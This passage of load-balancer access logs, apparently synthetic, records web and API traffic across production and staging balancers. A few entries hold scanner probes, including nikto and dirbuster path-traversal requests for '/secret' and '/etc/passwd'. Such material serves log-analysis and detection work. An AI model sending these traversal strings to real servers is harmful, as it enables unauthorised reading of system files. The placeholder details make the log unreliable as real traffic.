"-" "-" 8 2024-11-01T00:41:08.489798Z "forward" "-" "-" "10.0.253.117:443" "401" "-" "-" -https 2024-11-01T00:41:09.691889Z staging-alb 68.90.184.15:30865 181.171.92.63:443 0.078739 0.348368 0.104561 200 200 809 8559 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c135-767d13eea5cf4028a5ca3081" "staging-alb.example.com" "-" 3 2024-11-01T00:41:09.691889Z "forward" "-" "-" "181.171.92.63:443" "200" "-" "-" -https 2024-11-01T00:41:10.135234Z prod-web-alb 207.184.241.251:51379 10.0.252.78:443 0.058496 0.272349 0.093212 200 200 937 7472 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c136-3e14b6f6015b43d094d60234" "prod-web-alb.example.com" "-" 2 2024-11-01T00:41:10.135234Z "forward" "-" "-" "10.0.252.78:443" "200" "-" "-" -https 2024-11-01T00:41:10.740673Z prod-web-alb 193.150.198.159:56199 10.0.155.15:443 0.067053 0.431505 0.063221 302 302 707 4401 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c136-abecad57487442cc97a76980" "prod-web-alb.example.com" "-" 2 2024-11-01T00:41:10.740673Z "forward" "-" "-" "10.0.155.15:443" "302" "-" "-" -http 2024-11-01T00:41:11.111650Z staging-alb 93.127.233.244:36622 36.122.120.129:8080 0.142352 0.202678 0.075699 200 200 50 3298 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c137-82b77647cdec4ffaa65437fc" "staging-alb.example.com" "-" 4 2024-11-01T00:41:11.111650Z "forward" "-" "-" "36.122.120.129:8080" "200" "-" "-" -https 2024-11-01T00:41:12.387813Z prod-web-alb 172.118.120.200:37419 10.0.170.136:443 0.017014 0.049175 0.090632 301 301 636 12359 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c138-b66f81563e134f22ab140c0f" "prod-web-alb.example.com" "-" 6 2024-11-01T00:41:12.387813Z "forward" "-" "-" "10.0.170.136:443" "301" "-" "-" -https 2024-11-01T00:41:13.792087Z prod-api-alb 240.133.80.242:29774 10.0.255.50:443 0.085500 0.192305 0.050488 200 200 442 8108 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c139-91bd380acef740daa7cc7b10" "prod-api-alb.example.com" "-" 6 2024-11-01T00:41:13.792087Z "forward" "-" "-" "10.0.255.50:443" "200" "-" "-" -https 2024-11-01T00:41:14.848835Z prod-api-alb 77.67.89.216:49158 10.0.231.36:443 0.081638 0.414114 0.078794 200 200 647 2128 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c13a-cb25e6df95424e718941c39e" "prod-api-alb.example.com" "-" 7 2024-11-01T00:41:14.848835Z "forward" "-" "-" "10.0.231.36:443" "200" "-" "-" -https 2024-11-01T00:41:15.391756Z prod-api-alb 161.143.182.98:13179 10.0.225.164:443 0.090039 0.428534 0.043666 200 200 265 4653 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c13b-1d76588603eb424d9184c854" "prod-api-alb.example.com" "-" 9 2024-11-01T00:41:15.391756Z "forward" "-" "-" "10.0.225.164:443" "200" "-" "-" -https 2024-11-01T00:41:16.790501Z prod-api-alb 192.65.3.9:42362 10.0.6.182:443 0.026324 0.210023 0.098762 200 200 677 6275 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c13c-82cf6f8d08b7452b92400b99" "prod-api-alb.example.com" "-" 8 2024-11-01T00:41:16.790501Z "forward" "-" "-" "10.0.6.182:443" "200" "-" "-" -https 2024-11-01T00:41:17.889420Z prod-web-alb 210.35.11.218:52526 10.0.202.173:443 0.051581 0.203274 0.080079 200 200 90 7455 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c13d-addd05c4a5b944db9b3e97f8" "prod-web-alb.example.com" "-" 4 2024-11-01T00:41:17.889420Z "forward" "-" "-" "10.0.202.173:443" "200" "-" "-" -http 2024-11-01T00:41:19.570425Z staging-alb 104.59.170.211:46110 80.72.138.64:443 0.133582 0.722825 0.011342 404 404 510 2207 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c13f-73189ddd738d46b2aff69efd" "staging-alb.example.com" "-" 10 2024-11-01T00:41:19.570425Z "forward" "-" "-" "80.72.138.64:443" "404" "-" "-" -https 2024-11-01T00:41:19.810204Z prod-web-alb 185.38.246.1:34723 10.0.50.108:443 0.046245 0.194866 0.004342 200 200 708 5526 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c13f-50e1700ca7554fd39e49e3d7" "prod-web-alb.example.com" "-" 6 2024-11-01T00:41:19.810204Z "forward" "-" "-" "10.0.50.108:443" "200" "-" "-" -https 2024-11-01T00:41:21.602963Z prod-api-alb 45.155.205.157:55277 10.0.172.91:443 0.019575 0.205780 0.028173 403 403 438 11184 "GET /static/../../secret HTTP/1.1" "nikto/2.1.6" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c141-d87ad795ed3a4df1a04bcc5c" "-" "-" 3 2024-11-01T00:41:21.602963Z "forward" "-" "-" "10.0.172.91:443" "403" "-" "-" -https 2024-11-01T00:41:21.748387Z prod-web-alb 219.22.13.98:61567 10.0.191.143:443 0.039777 0.111249 0.049678 301 301 497 13660 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c141-2ed7acb7f9cc4d469b541eac" "prod-web-alb.example.com" "-" 5 2024-11-01T00:41:21.748387Z "forward" "-" "-" "10.0.191.143:443" "301" "-" "-" -https 2024-11-01T00:41:23.661293Z prod-web-alb 45.222.99.120:21635 10.0.210.212:443 0.027730 0.092142 0.001744 200 200 163 11841 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c143-4b75e9212a1d48b7a541636e" "prod-web-alb.example.com" "-" 1 2024-11-01T00:41:23.661293Z "forward" "-" "-" "10.0.210.212:443" "200" "-" "-" -https 2024-11-01T00:41:24.077983Z prod-api-alb 138.34.206.163:61485 10.0.49.229:443 0.088520 0.055568 0.059784 200 200 275 13851 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c144-5dcb23d0496f455987c79550" "prod-api-alb.example.com" "-" 8 2024-11-01T00:41:24.077983Z "forward" "-" "-" "10.0.49.229:443" "200" "-" "-" -https 2024-11-01T00:41:24.263937Z prod-api-alb 187.193.159.34:54880 10.0.250.241:443 0.058729 0.385549 0.025382 301 301 481 5447 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c144-e4fb35bf4d304ad6ad4864c0" "prod-api-alb.example.com" "-" 8 2024-11-01T00:41:24.263937Z "forward" "-" "-" "10.0.250.241:443" "301" "-" "-" -http 2024-11-01T00:41:25.530145Z staging-alb 5.118.74.132:59092 170.236.202.4:443 0.067442 0.313807 0.135595 200 200 914 12194 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c145-a5b08dbcfffb44e3b014b79a" "staging-alb.example.com" "-" 5 2024-11-01T00:41:25.530145Z "forward" "-" "-" "170.236.202.4:443" "200" "-" "-" -http 2024-11-01T00:41:25.957041Z staging-alb 222.79.45.208:56550 205.244.69.76:80 0.109268 0.645137 0.014571 404 404 520 11323 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c145-c63aa70676f44b3eb94eebe1" "staging-alb.example.com" "-" 5 2024-11-01T00:41:25.957041Z "forward" "-" "-" "205.244.69.76:80" "404" "-" "-" -https 2024-11-01T00:41:26.340726Z staging-alb 109.57.193.117:40282 42.248.10.178:80 0.129546 0.738466 0.010424 302 302 547 2845 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c146-2d4f42278153406993c573f7" "staging-alb.example.com" "-" 7 2024-11-01T00:41:26.340726Z "forward" "-" "-" "42.248.10.178:80" "302" "-" "-" -https 2024-11-01T00:41:28.200907Z prod-web-alb 214.25.124.238:28359 10.0.179.24:443 0.021632 0.161329 0.005431 200 200 845 7488 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c148-4f79715268374191bad911c9" "prod-web-alb.example.com" "-" 4 2024-11-01T00:41:28.200907Z "forward" "-" "-" "10.0.179.24:443" "200" "-" "-" -https 2024-11-01T00:41:29.113343Z prod-api-alb 8.197.170.139:49905 10.0.22.154:443 0.087543 0.489206 0.049205 200 200 747 737 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c149-73ce622d217c4466b87e8a1e" "prod-api-alb.example.com" "-" 3 2024-11-01T00:41:29.113343Z "forward" "-" "-" "10.0.22.154:443" "200" "-" "-" -http 2024-11-01T00:41:30.943226Z staging-alb 220.195.86.204:59269 167.84.244.47:8080 0.068794 0.240338 0.063159 301 301 1 9601 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c14a-1727d9859afd4083a0ff7632" "staging-alb.example.com" "-" 8 2024-11-01T00:41:30.943226Z "forward" "-" "-" "167.84.244.47:8080" "301" "-" "-" -https 2024-11-01T00:41:31.152127Z prod-api-alb 192.145.138.175:38475 10.0.71.177:443 0.076219 0.430095 0.028421 404 404 306 10911 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c14b-9945385fa19f45d7be186442" "prod-api-alb.example.com" "-" 6 2024-11-01T00:41:31.152127Z "forward" "-" "-" "10.0.71.177:443" "404" "-" "-" -https 2024-11-01T00:41:32.013083Z prod-web-alb 174.121.199.14:48105 10.0.125.63:443 0.012735 0.339167 0.008327 200 200 286 14636 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c14c-5c9d7f785fa643148e2524bd" "prod-web-alb.example.com" "-" 0 2024-11-01T00:41:32.013083Z "forward" "-" "-" "10.0.125.63:443" "200" "-" "-" -https 2024-11-01T00:41:33.940876Z staging-alb 200.100.207.79:55619 202.180.96.117:8080 0.064374 0.675953 0.093391 200 200 960 4953 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c14d-7e93bf37d06b41d0a96f190e" "staging-alb.example.com" "-" 6 2024-11-01T00:41:33.940876Z "forward" "-" "-" "202.180.96.117:8080" "200" "-" "-" -https 2024-11-01T00:41:34.605810Z prod-api-alb 14.96.20.201:43363 10.0.203.138:443 0.031540 0.459352 0.025173 200 200 748 3857 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c14e-ef29b17544624459a0dede32" "prod-api-alb.example.com" "-" 7 2024-11-01T00:41:34.605810Z "forward" "-" "-" "10.0.203.138:443" "200" "-" "-" -https 2024-11-01T00:41:35.332939Z prod-web-alb 149.118.171.249:15513 10.0.236.196:443 0.084914 0.479352 0.055345 301 301 334 5999 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c14f-2bb5fbbd82e846f6b1b03ae4" "prod-web-alb.example.com" "-" 4 2024-11-01T00:41:35.332939Z "forward" "-" "-" "10.0.236.196:443" "301" "-" "-" -https 2024-11-01T00:41:36.166392Z prod-web-alb 179.50.234.245:51501 10.0.159.147:443 0.047507 0.409929 0.054159 302 302 31 3486 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c150-3c3fad4b61ea47ca85fd1372" "prod-web-alb.example.com" "-" 0 2024-11-01T00:41:36.166392Z "forward" "-" "-" "10.0.159.147:443" "302" "-" "-" -http 2024-11-01T00:41:37.649913Z staging-alb 71.220.106.125:64120 183.0.47.119:443 0.056664 0.167760 0.050337 302 302 850 11502 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c151-714a747b12a94c53bb88c101" "staging-alb.example.com" "-" 8 2024-11-01T00:41:37.649913Z "forward" "-" "-" "183.0.47.119:443" "302" "-" "-" -https 2024-11-01T00:41:38.358634Z prod-web-alb 185.181.68.44:15277 10.0.213.123:443 0.012484 0.090655 0.036912 404 404 884 9845 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c152-fb537e30f6fd4ab1a6ccd32b" "-" "-" 3 2024-11-01T00:41:38.358634Z "forward" "-" "-" "10.0.213.123:443" "404" "-" "-" -https 2024-11-01T00:41:39.224197Z prod-web-alb 229.212.199.130:18496 10.0.100.115:443 0.022235 0.281806 0.076770 301 301 657 11910 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c153-45cfd4c5c73e487d8f5b2641" "prod-web-alb.example.com" "-" 3 2024-11-01T00:41:39.224197Z "forward" "-" "-" "10.0.100.115:443" "301" "-" "-" -https 2024-11-01T00:41:39.975603Z prod-web-alb 28.190.48.201:32876 10.0.147.89:443 0.061929 0.428124 0.016573 200 200 191 5091 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c153-e07b828e08474f9bbc56bd2e" "prod-web-alb.example.com" "-" 0 2024-11-01T00:41:39.975603Z "forward" "-" "-" "10.0.147.89:443" "200" "-" "-" -http 2024-11-01T00:41:40.288804Z staging-alb 40.56.31.230:43867 2.127.82.235:80 0.098714 0.706409 0.023332 200 200 104 8345 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c154-2b0aab7dbe2d4d4ba4c368e2" "staging-alb.example.com" "-" 10 2024-11-01T00:41:40.288804Z "forward" "-" "-" "2.127.82.235:80" "200" "-" "-" -https 2024-11-01T00:41:41.179052Z prod-web-alb 52.216.252.76:14623 10.0.118.87:443 0.030819 0.017760 0.066937 200 200 490 6233 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c155-cd00ce3dd07a474c94f79912" "prod-web-alb.example.com" "-" 0 2024-11-01T00:41:41.179052Z "forward" "-" "-" "10.0.118.87:443" "200" "-" "-" -https 2024-11-01T00:41:42.877436Z staging-alb 164.66.151.242:61836 36.177.1.250:80 0.146155 0.045292 0.031329 200 200 37 7405 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c156-584385f222474f34a7874a9f" "staging-alb.example.com" "-" 10 2024-11-01T00:41:42.877436Z "forward" "-" "-" "36.177.1.250:80" "200" "-" "-" -https 2024-11-01T00:41:43.914183Z prod-api-alb 164.78.74.88:12339 10.0.21.53:443 0.093838 0.274930 0.084858 200 200 379 11693 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c157-c423a577235c4b89b610f90a" "prod-api-alb.example.com" "-" 7 2024-11-01T00:41:43.914183Z "forward" "-" "-" "10.0.21.53:443" "200" "-" "-" -http 2024-11-01T00:41:45.235056Z staging-alb 166.23.226.231:25959 33.242.187.69:80 0.104664 0.247047 0.039164 302 302 264 9663 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c159-e7785048b4094d04b8d37eb8" "staging-alb.example.com" "-" 10 2024-11-01T00:41:45.235056Z "forward" "-" "-" "33.242.187.69:80" "302" "-" "-" -https 2024-11-01T00:41:46.731119Z prod-api-alb 185.181.125.99:35068 10.0.145.43:443 0.031213 0.483305 0.012307 403 403 636 14542 "POST /metrics HTTP/1.1" "WhatWeb/0.5.5" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c15a-33662a00ed75469591813693" "-" "-" 2 2024-11-01T00:41:46.731119Z "forward" "-" "-" "10.0.145.43:443" "403" "-" "-" -https 2024-11-01T00:41:46.856886Z prod-api-alb 119.36.56.43:23208 10.0.41.62:443 0.063891 0.468006 0.084776 200 200 189 1259 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c15a-8818dd612d0d48118def5d95" "prod-api-alb.example.com" "-" 4 2024-11-01T00:41:46.856886Z "forward" "-" "-" "10.0.41.62:443" "200" "-" "-" -https 2024-11-01T00:41:48.339720Z prod-web-alb 26.100.203.8:40937 10.0.21.49:443 0.002227 0.419474 0.008970 301 301 673 5522 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c15c-8471bed05696457a917f1847" "prod-web-alb.example.com" "-" 2 2024-11-01T00:41:48.339720Z "forward" "-" "-" "10.0.21.49:443" "301" "-" "-" -http 2024-11-01T00:41:49.340768Z staging-alb 62.147.254.247:46854 191.252.49.21:80 0.022948 0.087996 0.021828 200 200 904 7080 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c15d-db81bdd67cee4753a5f1b1c7" "staging-alb.example.com" "-" 5 2024-11-01T00:41:49.340768Z "forward" "-" "-" "191.252.49.21:80" "200" "-" "-" -http 2024-11-01T00:41:50.831147Z staging-alb 80.8.140.145:34600 126.44.104.183:8080 0.001889 0.431854 0.137451 404 404 530 5519 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c15e-bac19d07173940bb96bd362c" "staging-alb.example.com" "-" 8 2024-11-01T00:41:50.831147Z "forward" "-" "-" "126.44.104.183:8080" "404" "-" "-" -http 2024-11-01T00:41:51.847199Z staging-alb 235.68.112.18:64206 39.145.248.50:443 0.080708 0.159920 0.008425 200 200 777 12791 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c15f-b5b5f3d1fcf047d09fe1a45e" "staging-alb.example.com" "-" 10 2024-11-01T00:41:51.847199Z "forward" "-" "-" "39.145.248.50:443" "200" "-" "-" -https 2024-11-01T00:41:52.941088Z prod-web-alb 89.152.201.141:27080 10.0.251.53:443 0.001179 0.276742 0.053147 404 404 614 9238 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c160-9921175e57914a56bee5d37b" "prod-web-alb.example.com" "-" 5 2024-11-01T00:41:52.941088Z "forward" "-" "-" "10.0.251.53:443" "404" "-" "-" -https 2024-11-01T00:41:53.050965Z prod-web-alb 103.247.154.186:15359 10.0.77.52:443 0.045512 0.216919 0.085659 200 200 974 11384 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c161-07d21b68f4314e91bdd16f39" "prod-web-alb.example.com" "-" 9 2024-11-01T00:41:53.050965Z "forward" "-" "-" "10.0.77.52:443" "200" "-" "-" -https 2024-11-01T00:41:53.425383Z prod-api-alb 114.114.141.194:20382 10.0.166.185:443 0.090082 0.334583 0.025233 302 302 795 8879 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 